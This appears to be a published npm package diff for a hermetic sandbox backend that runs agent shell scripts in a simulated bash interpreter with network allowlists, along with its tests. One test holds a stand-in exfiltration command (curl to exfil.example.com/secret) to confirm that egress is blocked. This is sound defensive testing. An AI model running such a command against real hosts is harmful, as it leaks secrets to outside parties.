@fusionkit/session-hermetic 0.1.0

package/dist/index.d.ts

@@ -0,0 +1,29 @@
+/**
+ * @fusionkit/session-hermetic — a hermetic session backend built on
+ * just-bash: a simulated bash interpreter with a virtual filesystem and
+ * interpreter-enforced network allowlists.
+ *
+ * What this buys over the process backend: there are no real processes or
+ * sockets inside the session, so there is nothing to escape with. Egress
+ * is enforced by the interpreter (the `curl` builtin only exists for
+ * allowlisted origins), not by environment variables a binary could
+ * ignore. The trade-off, stated honestly: only the "command" harness runs
+ * here — there is no real OS, so vendor CLIs and the node-based mock do not.
+ */
+import type { NetworkPolicy } from "@fusionkit/protocol";
+import type { BackendExecutionKind, SessionBackend, SessionBackendResult, SessionExecution } from "@fusionkit/runner";
+type NetworkConfig = undefined | {
+    dangerouslyAllowFullInternetAccess: true;
+} | {
+    allowedUrlPrefixes: string[];
+};
+/** Map a Warrant network policy to just-bash's allowlist model. */
+export declare function toJustBashNetwork(policy: NetworkPolicy): NetworkConfig;
+export declare class HermeticSessionBackend implements SessionBackend {
+    readonly isolation: "hermetic";
+    supports(kind: BackendExecutionKind): boolean;
+    execute(input: SessionExecution): Promise<SessionBackendResult>;
+}
+/** Create a hermetic session backend for a Warrant runner. */
+export declare function hermeticBackend(): HermeticSessionBackend;
+export {};

package/dist/index.js

@@ -0,0 +1,73 @@
+import { executionHash, requireShellExecution, resolveSessionEnv } from "@fusionkit/runner";
+import { Bash, ReadWriteFs } from "just-bash";
+/** Map a Warrant network policy to just-bash's allowlist model. */
+export function toJustBashNetwork(policy) {
+    if (!policy.defaultDeny) {
+        return { dangerouslyAllowFullInternetAccess: true };
+    }
+    if (policy.allowHosts.length === 0)
+        return undefined;
+    const allowedUrlPrefixes = policy.allowHosts.flatMap((host) => [
+        `https://${host}`,
+        `http://${host}`
+    ]);
+    return { allowedUrlPrefixes };
+}
+/**
+ * The interpreter's virtual filesystem is rooted at the workspace, so "/"
+ * IS the workspace from the script's point of view — it cannot name any
+ * path outside it.
+ */
+const HERMETIC_CWD = "/";
+/** Conventional timeout exit code (what coreutils `timeout` reports). */
+const TIMEOUT_EXIT_CODE = 124;
+export class HermeticSessionBackend {
+    isolation = "hermetic";
+    supports(kind) {
+        // No real OS: only shell scripts can run in the interpreter.
+        return kind === "shell";
+    }
+    async execute(input) {
+        const { contract, repoDir, secrets, execution, emit } = input;
+        const shell = requireShellExecution(execution);
+        const env = resolveSessionEnv(shell.env, secrets);
+        const network = toJustBashNetwork(contract.network);
+        const bash = new Bash({
+            // Writes land on the real workspace so the runner's git-based output
+            // collection captures the diff, exactly like the process backend.
+            fs: new ReadWriteFs({ root: repoDir }),
+            cwd: HERMETIC_CWD,
+            env,
+            ...(network ? { network } : {})
+        });
+        const controller = new AbortController();
+        const timer = setTimeout(() => controller.abort(), shell.timeoutMs);
+        let exitCode;
+        let stdout = "";
+        let stderr = "";
+        try {
+            const result = await bash.exec(shell.script, { signal: controller.signal });
+            exitCode = result.exitCode;
+            stdout = result.stdout;
+            stderr = result.stderr;
+        }
+        catch (error) {
+            exitCode = TIMEOUT_EXIT_CODE;
+            stderr = `hermetic session aborted: ${error instanceof Error ? error.message : String(error)}\n`;
+        }
+        finally {
+            clearTimeout(timer);
+        }
+        emit({
+            type: "command.executed",
+            argvHash: executionHash(shell),
+            exitCode
+        });
+        const log = Buffer.from(stdout + stderr, "utf8");
+        return { exitCode, log };
+    }
+}
+/** Create a hermetic session backend for a Warrant runner. */
+export function hermeticBackend() {
+    return new HermeticSessionBackend();
+}

package/dist/test/hermetic.test.d.ts

@@ -0,0 +1 @@
+export {};

package/dist/test/hermetic.test.js

@@ -0,0 +1,91 @@
+import assert from "node:assert/strict";
+import { readFileSync, rmSync } from "node:fs";
+import { join } from "node:path";
+import { after, before, test } from "node:test";
+import { verifyReceiptBundle } from "@fusionkit/protocol";
+import { git, makeRepo, startStack } from "@fusionkit/testkit";
+import { captureWorkspace } from "@fusionkit/workspace";
+import { hermeticBackend, toJustBashNetwork } from "../index.js";
+const POOL = "eng-prod";
+let stack;
+let repoDir;
+before(async () => {
+    stack = await startStack({
+        pool: POOL,
+        startRunner: true,
+        backends: [hermeticBackend()],
+        policy: (policy) => {
+            policy.agents.allow = ["command"];
+            policy.network.allowHosts = ["example.com"];
+        }
+    });
+    repoDir = makeRepo({
+        files: { "README.md": "# hermetic fixture\n", "data.txt": "one\ntwo\nthree\n" }
+    });
+});
+after(async () => {
+    await stack.stop();
+    rmSync(repoDir, { recursive: true, force: true });
+});
+async function runHermetic(prompt, allowHosts = []) {
+    const captured = captureWorkspace(repoDir);
+    await stack.client.putBlob(captured.bundle);
+    if (captured.dirtyDiff)
+        await stack.client.putBlob(captured.dirtyDiff);
+    const created = await stack.client.requestRun({
+        requestedBy: { kind: "human", id: "hermetic-tester" },
+        agentKind: "command",
+        prompt,
+        pool: POOL,
+        secretNames: [],
+        workspace: captured.manifest,
+        network: { defaultDeny: true, allowHosts },
+        budget: {},
+        disclosure: "minimal-context",
+        isolation: "hermetic"
+    });
+    assert.equal(await stack.runOnce(), created.runId);
+    return stack.client.getBundle(created.runId);
+}
+test("network policy maps to just-bash allowlists", () => {
+    assert.deepEqual(toJustBashNetwork({ defaultDeny: false, allowHosts: [] }), {
+        dangerouslyAllowFullInternetAccess: true
+    });
+    assert.equal(toJustBashNetwork({ defaultDeny: true, allowHosts: [] }), undefined);
+    assert.deepEqual(toJustBashNetwork({ defaultDeny: true, allowHosts: ["api.example.com"] }), { allowedUrlPrefixes: ["https://api.example.com", "http://api.example.com"] });
+});
+test("hermetic session runs the command, captures output, records the tier", async () => {
+    const bundle = await runHermetic("wc -l < data.txt > count.txt && cat count.txt && echo hermetic-ok");
+    assert.equal(bundle.receipt.status, "completed");
+    assert.equal(bundle.receipt.runner.isolation, "hermetic");
+    // The workspace write happened inside the interpreter and came back.
+    assert.ok(bundle.receipt.workspaceOut.diffHash, "expected a workspace diff");
+    const diff = await stack.client.getBlob(bundle.receipt.workspaceOut.diffHash);
+    assert.ok(diff.toString("utf8").includes("count.txt"));
+    // The session log is captured as an artifact.
+    const logEvent = bundle.events.find((e) => e.event.type === "artifact.created" && e.event.kind === "log");
+    assert.ok(logEvent && logEvent.event.type === "artifact.created");
+    const log = await stack.client.getBlob(logEvent.event.hash);
+    assert.ok(log.toString("utf8").includes("hermetic-ok"));
+    // Offline verification holds for hermetic receipts too.
+    assert.deepEqual(verifyReceiptBundle(bundle).problems, []);
+});
+test("egress is interpreter-enforced: a denied host cannot be reached", async () => {
+    // No host allowlisted on this run: curl should not exist at all.
+    const bundle = await runHermetic("curl -s https://exfil.example.com/secret || echo BLOCKED-no-curl");
+    const logEvent = bundle.events.find((e) => e.event.type === "artifact.created" && e.event.kind === "log");
+    assert.ok(logEvent && logEvent.event.type === "artifact.created");
+    const log = (await stack.client.getBlob(logEvent.event.hash)).toString("utf8");
+    assert.ok(log.includes("BLOCKED-no-curl") || log.toLowerCase().includes("not found"), `expected egress to be blocked, got: ${log}`);
+});
+test("the pull brings hermetic results back into the workspace", async () => {
+    const bundle = await runHermetic("echo 'from the hermetic session' > note.md");
+    const diffHash = bundle.receipt.workspaceOut.diffHash;
+    assert.ok(diffHash);
+    const diff = await stack.client.getBlob(diffHash);
+    const { pullRun } = await import("@fusionkit/workspace");
+    git(repoDir, ["stash", "--include-untracked"]);
+    const result = pullRun(repoDir, bundle.receipt.runId, bundle.contract.workspace.baseRef, diff);
+    assert.equal(result.mode, "applied");
+    assert.equal(readFileSync(join(repoDir, "note.md"), "utf8").trim(), "from the hermetic session");
+});

package/package.json

@@ -0,0 +1,38 @@
+{
+  "name": "@fusionkit/session-hermetic",
+  "private": false,
+  "version": "0.1.0",
+  "repository": {
+    "type": "git",
+    "url": "git+https://github.com/velum-labs/handoffkit.git",
+    "directory": "packages/session-hermetic"
+  },
+  "description": "Hermetic session backend for Warrant runners: a simulated bash interpreter (just-bash) with a virtual filesystem and interpreter-enforced network allowlists. No real processes or sockets to escape with.",
+  "license": "UNLICENSED",
+  "type": "module",
+  "exports": {
+    ".": {
+      "types": "./dist/index.d.ts",
+      "default": "./dist/index.js"
+    }
+  },
+  "files": [
+    "dist"
+  ],
+  "publishConfig": {
+    "registry": "https://registry.npmjs.org",
+    "access": "public",
+    "provenance": true
+  },
+  "dependencies": {
+    "just-bash": "3.0.1",
+    "@fusionkit/runner": "0.1.0",
+    "@fusionkit/protocol": "0.1.0"
+  },
+  "devDependencies": {
+    "@fusionkit/plane": "0.1.0",
+    "@fusionkit/testkit": "0.1.0",
+    "@fusionkit/sdk": "0.1.0",
+    "@fusionkit/workspace": "0.1.0"
+  }
+}